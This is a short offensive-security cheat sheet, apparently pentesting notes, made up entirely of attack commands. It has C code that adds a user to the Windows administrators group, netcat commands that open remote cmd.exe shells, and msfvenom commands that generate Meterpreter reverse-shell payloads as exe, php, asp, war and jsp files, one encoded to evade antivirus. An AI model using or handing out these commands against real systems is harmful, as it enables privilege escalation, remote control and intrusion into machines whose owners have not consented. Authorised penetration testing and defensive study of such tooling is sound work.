Reverse Shell

------------------------------------------------------------------------------
# Basic C code to add kalisa user to the administrator group 

#include <stdlib.h>
int main () {
    int i;
    i = system("net localgroup administrators kalisa /add");
    return 0;
}

# compile the C code
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

------------------------------------------------------------------------------

# Upload nc.exe on the box
nc -nv <IP> <port> -e cmd.exe
nc -nlvp <port> -e cmd.exe

------------------------------------------------------------------------------

Meterpreter Shells

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o evil.exe
msfvenom -p windows/meterpreter/reverse_https LHOST= LPORT= -f exe -o evil.exe

# encode the executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -e x86/shikata_ga_nai -o evil.exe

# php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f php > evil.php

# asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > evil.asp

# war
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f war > evil.war

# jsp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f jsp > evil.jsp

------------------------------------------------------------------------------